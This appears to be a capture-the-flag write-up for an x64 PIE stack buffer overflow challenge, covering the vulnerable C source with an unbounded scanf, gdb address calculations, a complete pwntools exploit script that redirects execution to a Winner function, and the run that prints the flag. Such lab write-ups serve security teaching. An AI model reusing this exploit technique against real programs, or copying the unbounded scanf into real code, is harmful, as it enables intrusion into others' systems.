ELF x64 - Stack buffer overflow - PIE

Abdoulkader MOUSSA MOHAMED

February 2023

1 Search vulnerability

Here are the protections on the program :

- ✓ Position Independent Executable
- × Read Only relocations
- ✓ Pile non exécutable
- × Tas non exécutable
- ✓ Distribution aléatoire de l'espace d'adressage
- × Source Fortification
- × Stack-Smashing Protection
- ✓ Accès au code source

Let's firstly read the source code of our program.

```

void Winner() {..}

int Loser() {
    printf("Access denied!\n");
    return 0;
}

int main() {
    char key[30];
    printf("I'm an unbreakable safe, so you need a key to enter!\n");
     printf("Hint, main(): %p\n",main);
     printf("Key: ");
     scanf("%s", &key);
     Loser();
    return 0;
}
```

We notice that :

- The input data provided to the program will be stored in the buffer `key` using the function `scanf`. However, the length of the data is not controlled, while the size of the `key` buffer is limited. This makes the program vulnerable to buffer overflow attacks.

- We need to overwrite the `RIP` of `main` so that the function `Winner` is called and the secret flag is displayed.

- We have to remember that many protections like `PIE` and `ASLR` are enabled.

- To help us, the address of `main` is displayed.

2 Exploit it !

As the address of `main` is displayed, we can have by the way the address of `Winner`. Every time, there is `160` bytes difference between `main` and `Winner`.

```
(gdb) print &main
$4 = (<text variable, no debug info> *) 0x55a4c57d491a <main>
(gdb) print &Winner
$5 = (<text variable, no debug info> *) 0x55a4c57d487a <Winner>
```

So every time, `&main - 160` will give as the address of `Winner`.

With `objdump -d ./program`, inside the `main` function, we can notice that the variable `key` is at `-0x20(%rbp)`. So to write `deadbeef` in `RIP`, we need `0x20*"A" + 0x8*"B" + \xef\xbe\xad\xde\x00\x00\x00\x00` .

Instead of gdb, we will use `Pwntool`. It is a Python library and framework designed for exploitation and binary analysis. It provides a set of powerful tools and APIs for working with binary files and executing exploits.

Let's prepare our script :

```
from pwn import *
import struct

```

```python
# Running the executable
p = process("/challenge/app-systeme/ch83/ch83")

# Extract the address of main
p.recvuntil(b"main(): ")
main_addr = p.recvuntil(b"\n")

# Shift the address to reach winner()
shifted_addr = int(main_addr, 16) - 160

addr_bytes = struct.pack('<Q', shifted_addr)
#addr_bytes = shifted_addr.to_bytes(length=4, byteorder="little")

# Build the payload and send it to stdin
payload = b"A" * 0x20 + b"B"*0x8 + addr_bytes
p.sendline(payload)

# Open an interactive prompt
p.interactive()
```

Let's run it and get our flag :

```
app-systeme-ch83@challenge03:~$ nano /tmp/script.py
app-systeme-ch83@challenge03:~$ chmod +x /tmp/script.py

#  INSTALL
app-systeme-ch83@challenge03:~$  python -m virtualenv /tmp/pwntools
app-systeme-ch83@challenge03:~$ source /tmp/pwntools/bin/activate
(pwntools) app-systeme-ch83@challenge03:~$ pip install pwntools

#  Run
(pwntools) app-systeme-ch83@challenge03:~$ python3 /tmp/script.py
[+] Starting local process '/challenge/app-systeme/ch83/ch83': pid
    5564
[*] Switching to interactive mode
[*] Process '/challenge/app-systeme/ch83/ch83' stopped with exit
    code -11 (SIGSEGV) (pid 5564)
Key: Access denied!
Access granted!
Super secret flag: flag*******
[*] Got EOF while reading in interactive
$ id
[*] Got EOF while sending in interactive
```

3 How to correct it

We can correct it by controlling the `size` of input data.